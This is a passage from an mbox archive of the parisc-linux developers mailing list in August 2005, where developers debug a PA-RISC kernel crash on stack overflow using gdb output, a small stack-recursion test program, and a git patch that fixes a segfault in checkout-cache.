X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yxiPYvV5eSEkS76WZHQhaXN1IGRvb0Cs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23053

On Fri, Aug 12, 2005 at 08:00:50PM -0400, John David Anglin wrote:
> With 2.6.8.1-pa11, cc1plus generates a SIGSEGV here:
> 
> 0x00418d98 <ggc_set_mark+0>:    stw rp,-14(,sp)
> 
> The backtrace is:
> 
> (gdb) bt
> #0  ggc_set_mark (p=0x404c12a0) at ../../gcc/gcc/ggc-page.c:1254
> #1  0x00109ec0 in gt_ggc_mx_lang_tree_node (x_p=0x404c12a0) at gt-cp-tree.h:69
> ... [lots more frames]
> 
> (gdb) disass gt_ggc_mx_lang_tree_node
> Dump of assembler code for function gt_ggc_mx_lang_tree_node:
> 0x00109e84 <gt_ggc_mx_lang_tree_node+0>:        stw rp,-14(,sp)
> 0x00109e88 <gt_ggc_mx_lang_tree_node+4>:        stw,ma r7,80(,sp)
> 
> (gdb) p/x $sp
> $2 = 0xc0700040
> 
> So, the frame allocation by gt_ggc_mx_lang_tree_node appears to span
> a page boundary and the store into the frame marker by ggc_set_mark
> causes a data TLB miss and the SIGSEGV.  This causes the 2.6.13 kernel
> to crash in what's apparently an infinite loop involving
> handle_interruption.
> 
> So, I think the bug is that 2.6.13 (32-bit) crashes when we have a data
> TLB miss for an address outside the allowed bounds for the stack.  Probably,
> any simple program that recursively allocates stack frames until the
> allowed stack size is exceeded will demonstrate the problem.

While I believe you are probably right, I could not reproduce
this on my c3k here at home:

svenc3k:/# ls -l foo.*
-rw-r--r--  1 root root 180 Aug 13 04:40 foo.cc
-rw-r--r--  1 root root 748 Aug 13 04:42 foo.o
svenc3k:/# g++-4.0 -O2 -ftemplate-depth-20000 -c foo.cc
svenc3k:/# ls -l foo.*
-rw-r--r--  1 root root 180 Aug 13 04:40 foo.cc
-rw-r--r--  1 root root 748 Aug 13 04:44 foo.o
svenc3k:/# ulimit -a
core file size        (blocks, -c) 0
data seg size         (kbytes, -d) unlimited
file size             (blocks, -f) unlimited
max locked memory     (kbytes, -l) unlimited
max memory size       (kbytes, -m) unlimited
open files                    (-n) 1024
pipe size          (512 bytes, -p) 8
stack size            (kbytes, -s) 8192
cpu time             (seconds, -t) unlimited
max user processes            (-u) unlimited
virtual memory        (kbytes, -v) unlimited
svenc3k:/#

svenc3k:/# gcc-4.0 -v
Using built-in specs.
Target: hppa-linux-gnu
Configured with: ../src/configure -v --enable-languages=c,c++,java,f95,objc,ada,treelang --prefix=/usr --enable-shared --with-system-zlib --libexecdir=/usr/lib --enable-nls --without-included-gettext --enable-threads=posix --program-suffix=-4.0 --enable-__cxa_atexit --enable-libstdcxx-allocator=mt --enable-clocale=gnu --enable-libstdcxx-debug --enable-java-gc=boehm --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.4.2-gcj-4.0-1.4.2.0/jre --enable-mpfr --disable-werror --enable-checking=release hppa-linux-gnu
Thread model: posix
gcc version 4.0.2 20050806 (prerelease) (Debian 4.0.1-4)

> The C++ program that causes the system crash when compiled with cc1plus
> from the GCC head is shown below.  Note that there is a change to GCC's
> inlining in 4.1, and 4.0 doesn't cause the SIGSEGV.

I expect this is the difference...I need to use the same g++ version.
Does someone want to hack a small test program that consumes
stack space until it bombs out becuase of the ulimit?


>   My stack limit is
> the default 8192 kbytes.  The c3k kernel is default except I had to
> disable CONFIG_PDC_STABLE and CONFIG_INFINIBAND.

I'm not certain I have a perfectly clean -rc3-pa1 kernel either.
I expect I have some PCI changes and the same .config changes you
have listed above.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Sat, 13 Aug 2005 01:11:29 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200508130511.j7D5BTYm006465@hiauly1.hia.nrc.ca>
References: <20050813050211.GE32609@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623891 16344 80.91.229.3 (22 Nov 2014 02:38:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 05:11:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 13 Aug 2005 07:11:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC9207D6A2;
	Fri, 12 Aug 2005 23:11:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12669-08; Fri, 12 Aug 2005 23:11:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F01647D692;
	Fri, 12 Aug 2005 23:11:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F41D17D676
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 23:11:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12669-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 23:11:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 14B047D412
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 23:11:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7D5BTnV006466; Sat, 13 Aug 2005 01:11:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7D5BTYm006465;
	Sat, 13 Aug 2005 01:11:29 -0400 (EDT)
In-Reply-To: <20050813050211.GE32609@colo.lackof.org> from "Grant Grundler" at
	Aug 12, 2005 11:02:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XeSPYrgteSEkeb6WZHQhaXN1IGRvb0B2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23054

> While I believe you are probably right, I could not reproduce
> this on my c3k here at home:

One additional detail is the kernel was built with
gcc version 4.0.1 (Debian 4.0.1-2).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Sat, 13 Aug 2005 01:14:57 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200508130514.j7D5EvFG006500@hiauly1.hia.nrc.ca>
References: <20050813050211.GE32609@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623891 16345 80.91.229.3 (22 Nov 2014 02:38:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 05:15:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 13 Aug 2005 07:15:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE9457D6A5;
	Fri, 12 Aug 2005 23:15:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13064-06; Fri, 12 Aug 2005 23:15:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 704537D6A9;
	Fri, 12 Aug 2005 23:15:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 082F27D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 23:15:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12935-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 23:14:59 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5B78E7D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 23:14:59 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7D5EwnV006502; Sat, 13 Aug 2005 01:14:58 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7D5EvFG006500;
	Sat, 13 Aug 2005 01:14:57 -0400 (EDT)
In-Reply-To: <20050813050211.GE32609@colo.lackof.org> from "Grant Grundler" at
	Aug 12, 2005 11:02:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i+SPYtRpeSEkRr6WZHQhaXN1IGRvb0BC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23055

> svenc3k:/# gcc-4.0 -v
> Using built-in specs.
> Target: hppa-linux-gnu
> Configured with: ../src/configure -v --enable-languages=c,c++,java,f95,objc,ada,treelang --prefix=/usr --enable-shared --with-system-zlib --libexecdir=/usr/lib --enable-nls --without-included-gettext --enable-threads=posix --program-suffix=-4.0 --enable-__cxa_atexit --enable-libstdcxx-allocator=mt --enable-clocale=gnu --enable-libstdcxx-debug --enable-java-gc=boehm --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.4.2-gcj-4.0-1.4.2.0/jre --enable-mpfr --disable-werror --enable-checking=release hppa-linux-gnu
> Thread model: posix
> gcc version 4.0.2 20050806 (prerelease) (Debian 4.0.1-4)

I think that i said in the report that it's a change to the inlining
in gcc 4.1.0 that triggers this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Sat, 13 Aug 2005 08:40:28 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <1123940428.5037.2.camel@mulgrave>
References: <20050812180551.GA32609@colo.lackof.org>
	<200508130000.j7D00oKW005186@hiauly1.hia.nrc.ca>
	<20050813050211.GE32609@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623891 16350 80.91.229.3 (22 Nov 2014 02:38:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:11 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 13:40:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 13 Aug 2005 15:40:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 756E07D6B5;
	Sat, 13 Aug 2005 07:40:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16687-07; Sat, 13 Aug 2005 07:40:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 467087D6B1;
	Sat, 13 Aug 2005 07:40:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC09A7D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 07:40:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16611-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 07:40:41 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 0655C7D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 07:40:40 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j7DDeTA29854; Sat, 13 Aug 2005 09:40:29 -0400
In-Reply-To: <20050813050211.GE32609@colo.lackof.org>
X-Mailer: Evolution 2.0.4 (2.0.4-6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Np2PYk0MeSEkO76WZHQhaXN1IGRvb8CI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23056

On Fri, 2005-08-12 at 23:02 -0600, Grant Grundler wrote:
> I expect this is the difference...I need to use the same g++ version.
> Does someone want to hack a small test program that consumes
> stack space until it bombs out becuase of the ulimit?

Here's a test program that does this:

#include <stdio.h>

char *stack_base_estimate;

void
recurse(void)
{
	char a[256];

	memset(a, '\0', sizeof(*a));
	printf("Estimating stack consumed 0x%lx\n",
	       (unsigned long)(a - stack_base_estimate));
	recurse();
}

int
main(int argc, char *argv[])
{
	char b;

	stack_base_estimate = &b;
	printf("Estimating stack base at 0x%p\n", stack_base_estimate);
	recurse();
	return 0;
}
		
But the results are as expected (on 2.6.13-rc6-pa1):

jejb@raven> ulimit -a
core file size        (blocks, -c) 0
data seg size         (kbytes, -d) unlimited
file size             (blocks, -f) unlimited
max locked memory     (kbytes, -l) unlimited
max memory size       (kbytes, -m) unlimited
open files                    (-n) 1024
pipe size          (512 bytes, -p) 8
stack size            (kbytes, -s) 8192
cpu time             (seconds, -t) unlimited
max user processes            (-u) unlimited
virtual memory        (kbytes, -v) unlimited
jejb@raven> a.out
Estimating stack base at 0x0xc0114548
Estimating stack consumed 0x80
[...]
Estimating stack consumed 0x7fefc0
Estimating stack consumed 0x7ff100
Segmentation fault

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] fix git-checkout-cache segfault on parisc
Date: Sat, 13 Aug 2005 10:29:32 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <1123946972.5115.4.camel__19182.0079730407$1416623892$gmane$org@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623892 16351 80.91.229.3 (22 Nov 2014 02:38:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:12 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
 git@vger.kernel.org
To: junkio@cox.net
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 15:29:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 13 Aug 2005 17:29:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F04C47D6BD;
	Sat, 13 Aug 2005 09:29:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17360-09; Sat, 13 Aug 2005 09:29:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A9057D6BE;
	Sat, 13 Aug 2005 09:29:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CAAA57D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:29:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17537-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:29:48 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 1D45F7D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:29:48 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j7DFTXA01462; Sat, 13 Aug 2005 11:29:33 -0400
X-Mailer: Evolution 2.0.4 (2.0.4-6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: o3SMYjooeSEkSb6WZHQhaXN1IGRvb0Dc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23057

This one I think is Linus' fault, so send him a brown paper bag with my
complements ...

The index cleanup code is executed via atexit() which is *after* main
has completed, so the stack allocated cache_file has gone out of scope.
Parisc seems to use stack in the destructor functions, so cache_file
gets partially overwritten leading to the predictable disastrous
consequences.

Signed-off-by: James Bottomley <James.Bottomley@SteelEye.com>

---

James

diff --git a/checkout-cache.c b/checkout-cache.c
--- a/checkout-cache.c
+++ b/checkout-cache.c
@@ -80,10 +80,11 @@ static int checkout_all(void)
 static const char checkout_cache_usage[] =
 "git-checkout-cache [-u] [-q] [-a] [-f] [-n] [--prefix=<string>] [--] <file>...";
 
+static struct cache_file cache_file;
+
 int main(int argc, char **argv)
 {
 	int i, force_filename = 0;
-	struct cache_file cache_file;
 	int newfd = -1;
 
 	if (read_cache() < 0) {
diff --git a/index.c b/index.c


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc git tree up and running
Date: Sat, 13 Aug 2005 10:42:27 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <1123947747.5115.10.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623892 16356 80.91.229.3 (22 Nov 2014 02:38:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:12 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 15:42:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 13 Aug 2005 17:42:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 910217D6CA;
	Sat, 13 Aug 2005 09:42:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
